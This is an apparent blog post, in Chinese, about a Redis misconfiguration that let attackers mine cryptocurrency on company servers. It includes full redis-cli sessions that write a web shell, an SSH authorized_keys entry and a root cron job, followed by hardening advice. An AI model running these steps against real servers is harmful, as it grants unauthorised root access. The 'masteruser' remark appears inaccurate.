最近公司 web
服务器连续几次被人攻击拿去挖矿,刚开始以为是上传服务有漏洞,导致可执行脚本被上传到服务器然后运行。于是上传服务的程序经过修改,增加了各种对文件格式、后缀名等的校验。但之后服务器还是被攻击,最终排查发现原因在于 Redis
的配置不严谨,攻击者利用 config
命令修改了 crontab
定时任务同时还实现了 ssh
的免密登录。
通常我们在安装 Redis 时都会使用默认的配置(默认的监听地址和端口),并且不会设置密码,但这种配置有时候却会使安装 Redis 的服务器被攻击。
⒈ 攻击
Redis
命令中的 config
命令可以实现在不重启 Redis
服务的情况下修改 Redis
的配置。以下所说的这些攻击方式都是通过使用 config
命令来修改 Redis
的默认数据存放目录以及文件名称来实现的。
⓵ webshell
如果可以知道网站的根目录,那么可以通过 Redis
进行 webshell
方式的攻击:
-
首先将
Redis
的数据存放目录设置为网站根目录 -
然后通过
Redis
命令向网站根目录写入想要执行的代码
dummyUser@XPS13:~$ redis-cli -h 10.10.10.1
10.10.10.1:6379> config set dir /usr/local/nginx/html
OK
10.10.10.1:6379> config set dbfilename redis.php
OK
10.10.10.1:6379> set test "<?php phpinfo(); ?>"
OK
10.10.10.1:6379> save
OK
执行完上述操作之后,网站根目录下会生成一个名为 redis.php
的文件。通过 URL 访问这个文件,就可以知道所有与服务器上 PHP
相关的配置信息。
⓶ ssh
如果我们可以知道运行 Redis
服务的用户和组对哪些用户的家目录有写权限(有些时候 Redis
会以 root
来运行),那么我们可以通过 Redis
来达到免密登录服务器的目的。
- 通过命令行
ssh-keygen -t rsa
在本地生成公私钥 - 将生成的公钥内容写入一个文本文件:
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
- 将生成的文本文件导入到
Redis
:cat key.txt | redis-cli -h 10.10.10.1 -x set ssh_key
- 将公钥保存到
authorized_keys
中
dummyUser@XPS13:~$ redis-cli -h 10.10.10.1
10.10.10.1:6379> config set dir /root/.ssh
OK
10.10.10.1:6379> config set dbfilename authorized_keys
OK
10.10.10.1:6379> save
OK
执行完上述操作后,就可以通过 ssh
免密登录到服务器 ssh root@10.10.10.1
⓷ crontab
通常在服务器配置定时任务都是通过执行 crontab -e
来实现,而实际上这些设置的定时任务最终是以文件的形式保存在服务器上(centos
的路径为 /var/spool/cron/
,ubuntu
的路径为 /var/spool/cron/crontabs/
)。由此,我们可以通过 Redis
命令将自己希望执行的定时任务保存到服务器上。
dummyUser@XPS13:~$ echo -e "\n\n * * * * * command to execute" | redis-cli -h 10.10.10.1 -x set cron
OK
dummyUser@XPS13:~$ redis-cli -h 10.10.10.1
10.10.10.1:6379> config set dir /var/spool/cron
OK
10.10.10.1:6379> config set dbfilename root
OK
10.10.10.1:6379> save
OK
⒉ 防范
⓵ 绑定 IP
将 Redis
配置文件中的 bind
地址改为固定的 IP(通常为内网 IP),然后重启 Redis
。这样,Redis
服务只会监听来自内网 IP 的请求,同时别人也无法实现从外网直接连接 Redis
服务。
⓶ 设置密码
Redis
服务的密码默认为空,在为 Redis
设置密码时,可以通过配置项 requirepass
只设置密码,也可以在设置密码的同时通过配置项 masteruser
再设置一个相应的用户名。这样,在连接 Redis
服务时,只需要通过 auth
命令进行验证,成功后即可进行操作。
由于 Redis
运行速度非常快,外部用户可以进行每秒高达百万次的破解尝试,所以设置的密码应该尽量长而且复杂
⓷ 禁用部分敏感的命令
可以通过配置文件禁用一些可能会导致严重后果的 Redis
命令,如前述的 config
命令,还有像 keys
、flushdb
、shutdown
等。
rename-command FLUSHDB ""
rename-command CONFIG ""
rename-command KEYS ""
⓸ ssl/tls
Redis
从 6.0 版本开始支持 ssl/tls,可以在安装的时候增加编译选项 BUILD_TLS=yes
。但这样做会大大降低 Redis
的性能。